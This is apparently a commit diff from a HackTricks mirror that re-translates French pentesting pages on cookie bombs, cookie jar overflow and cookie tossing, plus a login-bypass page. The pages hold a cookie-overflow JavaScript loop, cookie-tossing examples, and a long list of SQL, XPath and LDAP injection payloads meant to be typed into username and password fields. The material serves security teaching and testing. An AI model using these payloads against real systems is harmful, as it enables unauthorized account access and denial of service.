mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente
This commit is contained in:
parent
7542e967f9
commit
c905035a52
20 changed files with 962 additions and 1014 deletions
|
@ -1,5 +1,35 @@
|
||||||
Une bombe de cookie est la capacité d'ajouter un grand nombre de cookies volumineux à un utilisateur pour un domaine et ses sous-domaines dans le but que la victime envoie toujours de grandes requêtes HTTP au serveur (en raison des cookies) que le serveur ne pourra pas accepter. Par conséquent, cela causera un déni de service (DoS) sur un utilisateur dans ce domaine et ses sous-domaines.
|
<details>
|
||||||
|
|
||||||
Un bel exemple peut être vu dans ce rapport : [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs exclusifs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
Une cookie bomb est la capacité **d'ajouter un grand nombre de cookies volumineux à un utilisateur** pour un domaine et ses sous-domaines dans le but que la victime envoie toujours **des requêtes HTTP volumineuses** au serveur (à cause des cookies) et que le **serveur n'accepte pas la requête**. Cela provoquera donc un DoS sur un utilisateur dans ce domaine et sous-domaines.
|
||||||
|
|
||||||
|
Un bon **exemple** peut être vu dans ce compte-rendu : [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
|
||||||
|
|
||||||
Et pour plus d'informations, vous pouvez consulter cette présentation : [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
|
Et pour plus d'informations, vous pouvez consulter cette présentation : [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs exclusifs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -1,36 +1,49 @@
|
||||||
Les navigateurs ont une **limite sur le nombre de cookies** qu'ils peuvent stocker pour une page. Ainsi, si pour une raison quelconque vous devez **faire disparaître un cookie**, vous pouvez **déborder le pot de cookies** car les plus anciens seront supprimés en premier :
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
Les navigateurs ont une **limite sur le nombre de cookies** qu'ils peuvent stocker pour une page. Alors, si pour une raison quelconque vous avez besoin de **faire disparaître un cookie**, vous pouvez **déborder le bocal à cookies** car les plus anciens seront supprimés en premier :
|
||||||
```javascript
|
```javascript
|
||||||
// Set many cookies
|
// Set many cookies
|
||||||
for (let i = 0; i < 700; i++) {
|
for (let i = 0; i < 700; i++) {
|
||||||
document.cookie = `cookie${i}=${i}; Secure`;
|
document.cookie = `cookie${i}=${i}; Secure`;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Remove all cookies
|
// Remove all cookies
|
||||||
for (let i = 0; i < 700; i++) {
|
for (let i = 0; i < 700; i++) {
|
||||||
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
|
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Notez que les cookies tiers pointant vers un domaine différent ne seront pas écrasés.
|
Remarquez que les cookies tiers pointant vers un domaine différent ne seront pas écrasés.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Cette attaque peut également être utilisée pour **écraser les cookies HttpOnly car vous pouvez le supprimer puis le réinitialiser avec la valeur que vous voulez**.
|
Cette attaque peut également être utilisée pour **écraser les cookies HttpOnly car vous pouvez les supprimer puis les réinitialiser avec la valeur que vous souhaitez**.
|
||||||
|
|
||||||
Vérifiez cela dans [**cet article avec un laboratoire**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
|
Vérifiez cela dans [**ce post avec un lab**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,63 +1,61 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
## Description
|
## Description
|
||||||
|
|
||||||
Si un attaquant peut **contrôler un sous-domaine ou le domaine d'une entreprise ou trouve un XSS dans un sous-domaine**, il pourra effectuer cette attaque.
|
Si un attaquant peut **contrôler un sous-domaine ou le domaine d'une entreprise ou trouve un XSS dans un sous-domaine**, il pourra réaliser cette attaque.
|
||||||
|
|
||||||
Comme indiqué dans la section Cookies Hacking, lorsqu'un **cookie est défini pour un domaine (en le spécifiant), il sera utilisé dans le domaine et les sous-domaines.**
|
Comme indiqué dans la section Cookies Hacking, lorsqu'un **cookie est défini pour un domaine (en le spécifiant), il sera utilisé dans le domaine et les sous-domaines.**
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Par conséquent, **un attaquant sera en mesure de définir pour le domaine et les sous-domaines un cookie spécifique en faisant quelque chose comme** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
|
Par conséquent, **un attaquant pourra définir pour le domaine et les sous-domaines un cookie spécifique en faisant quelque chose comme** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Cela peut être dangereux car l'attaquant peut être en mesure de :
|
Cela peut être dangereux car l'attaquant pourrait :
|
||||||
|
|
||||||
* **Fixer le cookie de la victime sur le compte de l'attaquant** de sorte que si l'utilisateur ne remarque pas, **il effectuera les actions dans le compte de l'attaquant** et l'attaquant peut obtenir des informations intéressantes (vérifier l'historique des recherches de l'utilisateur sur la plateforme, la victime peut définir sa carte de crédit dans le compte...)
|
* **Fixer le cookie de la victime sur le compte de l'attaquant** donc si l'utilisateur ne le remarque pas, **il effectuera les actions sur le compte de l'attaquant** et l'attaquant pourrait obtenir des informations intéressantes (vérifier l'historique des recherches de l'utilisateur sur la plateforme, la victime pourrait enregistrer sa carte de crédit sur le compte...)
|
||||||
* Si le **cookie ne change pas après la connexion**, l'attaquant peut simplement **fixer un cookie**, attendre que la victime se connecte, puis **utiliser ce cookie pour se connecter en tant que victime**.
|
* Si le **cookie ne change pas après la connexion**, l'attaquant pourrait simplement **fixer un cookie**, attendre que la victime se connecte puis **utiliser ce cookie pour se connecter en tant que victime**.
|
||||||
* Si le **cookie définit une valeur initiale** (comme dans Flask où le **cookie** peut **définir** le **jeton CSRF** de la session et cette valeur sera maintenue après la connexion de la victime), l'**attaquant peut définir cette valeur connue et ensuite l'exploiter** (dans ce scénario, l'attaquant peut ensuite faire effectuer une demande CSRF à l'utilisateur car il connaît le jeton CSRF).
|
* Si le **cookie définit une valeur initiale** (comme dans flask où le **cookie** peut **définir** le **CSRF token** de la session et cette valeur sera maintenue après que la victime se connecte), **l'attaquant pourrait définir cette valeur connue puis en abuser** (dans ce scénario, l'attaquant pourrait alors faire exécuter à l'utilisateur une requête CSRF puisqu'il connaît le CSRF token).
|
||||||
|
|
||||||
## Ordre des cookies
|
## Ordre des Cookies
|
||||||
|
|
||||||
Lorsqu'un navigateur reçoit deux cookies avec le même nom **affectant partiellement la même portée** (domaine, sous-domaines et chemin), le **navigateur enverra les deux valeurs du cookie** lorsque les deux sont valides pour la demande.
|
Lorsqu'un navigateur reçoit deux cookies portant le même nom **affectant partiellement le même périmètre** (domaine, sous-domaines et chemin), le **navigateur enverra les deux valeurs du cookie** lorsque les deux sont valides pour la requête.
|
||||||
|
|
||||||
En fonction de celui qui a **le chemin le plus spécifique** ou de celui qui est **le plus ancien**, le navigateur **définira d'abord la valeur du cookie** puis la valeur de l'autre comme dans : `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
Selon qui a **le chemin le plus spécifique** ou lequel est **le plus ancien**, le navigateur **définira la valeur du cookie en premier** puis celle de l'autre comme dans : `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
||||||
|
|
||||||
La plupart des **sites Web n'utiliseront que la première valeur**. Ainsi, si un attaquant veut définir un cookie, il est préférable de le définir avant qu'un autre ne soit défini ou de le définir avec un chemin plus spécifique.
|
La plupart des **sites web n'utiliseront que la première valeur**. Ainsi, si un attaquant veut définir un cookie, il vaut mieux le faire avant qu'un autre soit défini ou le définir avec un chemin plus spécifique.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
De plus, la capacité à **définir un cookie dans un chemin plus spécifique** est très intéressante car vous pourrez faire travailler la **victime avec son cookie sauf dans le chemin spécifique où le cookie malveillant défini sera envoyé en premier**.
|
De plus, la capacité à **définir un cookie dans un chemin plus spécifique** est très intéressante car vous pourrez faire en sorte que **la victime travaille avec son cookie sauf dans le chemin spécifique où le cookie malveillant défini sera envoyé en premier**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Contournement de la protection
|
## Contournement de Protection
|
||||||
|
|
||||||
Une protection possible contre cette attaque serait que le **serveur Web n'accepte pas les demandes avec deux cookies avec le même nom mais deux valeurs différentes**.
|
Une protection possible contre cette attaque serait que le **serveur web n'accepte pas les requêtes avec deux cookies portant le même nom mais deux valeurs différentes**.
|
||||||
|
|
||||||
Pour contourner le scénario où l'attaquant définit un cookie après que la victime ait déjà reçu le cookie, l'attaquant pourrait provoquer un **débordement de cookie** et ensuite, une fois que le **cookie légitime est supprimé, définir le malveillant**.
|
Pour contourner le scénario où l'attaquant définit un cookie après que la victime a déjà reçu le cookie, l'attaquant pourrait provoquer un **débordement de cookie** et ensuite, une fois le **cookie légitime supprimé, définir le malveillant**.
|
||||||
|
|
||||||
{% content-ref url="cookie-jar-overflow.md" %}
|
{% content-ref url="cookie-jar-overflow.md" %}
|
||||||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Un autre **contournement** utile pourrait être de **coder l'URL avec le nom du cookie** car certaines protections vérifient deux cookies avec le même nom dans une demande, puis le serveur décoder les noms des cookies.
|
Un autre **contournement** utile pourrait être d'**encoder l'URL du nom du cookie** car certaines protections vérifient la présence de 2 cookies avec le même nom dans une requête puis le serveur décodera les noms des cookies.
|
||||||
|
|
||||||
## Bombe de cookies
|
## Bombe à Cookies
|
||||||
|
|
||||||
Une attaque de Cookie Tossing peut également être utilisée pour effectuer une attaque de **Bombe de cookies** :
|
Une attaque de Cookie Tossing peut également être utilisée pour réaliser une attaque de **Bombe à Cookies** :
|
||||||
|
|
||||||
{% content-ref url="cookie-bomb.md" %}
|
{% content-ref url="cookie-bomb.md" %}
|
||||||
[cookie-bomb.md](cookie-bomb.md)
|
[cookie-bomb.md](cookie-bomb.md)
|
||||||
|
@ -65,15 +63,28 @@ Une attaque de Cookie Tossing peut également être utilisée pour effectuer une
|
||||||
|
|
||||||
## Défenses
|
## Défenses
|
||||||
|
|
||||||
### **Utilisez le préfixe `__Host` dans le nom du cookie**
|
### **Utiliser le préfixe `__Host` dans le nom du cookie**
|
||||||
|
|
||||||
* Si un nom de cookie a ce préfixe, il **ne sera accepté que** dans une directive Set-Cookie s'il est marqué Secure, a été envoyé depuis une origine sécurisée, ne comprend pas d'attribut Domain et a l'attribut Path défini sur /
|
* Si un nom de cookie a ce préfixe, il **sera accepté uniquement** dans une directive Set-Cookie s'il est marqué comme Secure, a été envoyé depuis une origine sécurisée, ne comprend pas d'attribut Domain et a l'attribut Path défini sur /
|
||||||
* **Cela empêche les sous-domaines de forcer un cookie sur le domaine apex car ces cookies peuvent être considérés comme "verrouillés sur le domaine"**
|
* **Cela empêche les sous-domaines de forcer un cookie sur le domaine principal puisque ces cookies peuvent être considérés comme "verrouillés sur le domaine"**
|
||||||
|
|
||||||
## Références
|
## Références
|
||||||
|
|
||||||
* [**@blueminimal**](https://twitter.com/blueminimal)
|
* [**@blueminimal**](https://twitter.com/blueminimal)
|
||||||
* [**https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers**](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers)
|
* [**https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers**](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers)
|
||||||
* [**https://github.blog/2013-04-09-yummy-cookies-across-domains/**](https://github.blog/2013-04-09-yummy-cookies-across-domains/)
|
* [**https://github.blog/2013-04-09-yummy-cookies-across-domains/**](https://github.blog/2013-04-09-yummy-cookies-across-domains/)
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
|
* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -1,23 +1,21 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
Cette liste contient des **charges utiles pour contourner la connexion via XPath, LDAP et l'injection SQL** (dans cet ordre).
|
Cette liste contient des **payloads pour contourner la connexion via XPath, LDAP et injection SQL** (dans cet ordre).
|
||||||
|
|
||||||
La façon d'utiliser cette liste est de mettre les **200 premières lignes comme nom d'utilisateur et mot de passe**. Ensuite, mettez la liste complète dans les entrées de nom d'utilisateur puis de mot de passe tout en mettant un mot de passe (comme _Pass1234._) ou un nom d'utilisateur connu (comme _admin_).
|
La manière d'utiliser cette liste est de mettre les **200 premières lignes comme nom d'utilisateur et mot de passe.** Ensuite, mettez la liste complète d'abord dans le nom d'utilisateur puis dans les champs de mot de passe tout en mettant un mot de passe (comme _Pass1234._) ou un nom d'utilisateur connu (comme _admin_).
|
||||||
```
|
```
|
||||||
admin
|
admin
|
||||||
password
|
password
|
||||||
|
@ -817,24 +815,23 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
|
||||||
%A8%27) Or 1-- 2
|
%A8%27) Or 1-- 2
|
||||||
%8C%A8%27) Or 1-- 2
|
%8C%A8%27) Or 1-- 2
|
||||||
%bf') Or 1-- 2
|
%bf') Or 1-- 2
|
||||||
%A8%27)Ou(1)-- 2
|
%A8%27)Or(1)-- 2
|
||||||
%8C%A8%27)Ou(1)-- 2
|
%8C%A8%27)Or(1)-- 2
|
||||||
%bf')Ou(1)-- 2
|
%bf')Or(1)-- 2
|
||||||
%A8%27)||1-- 2
|
%A8%27)||1-- 2
|
||||||
%8C%A8%27)||1-- 2
|
%8C%A8%27)||1-- 2
|
||||||
%bf')||1-- 2
|
%bf')||1-- 2
|
||||||
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
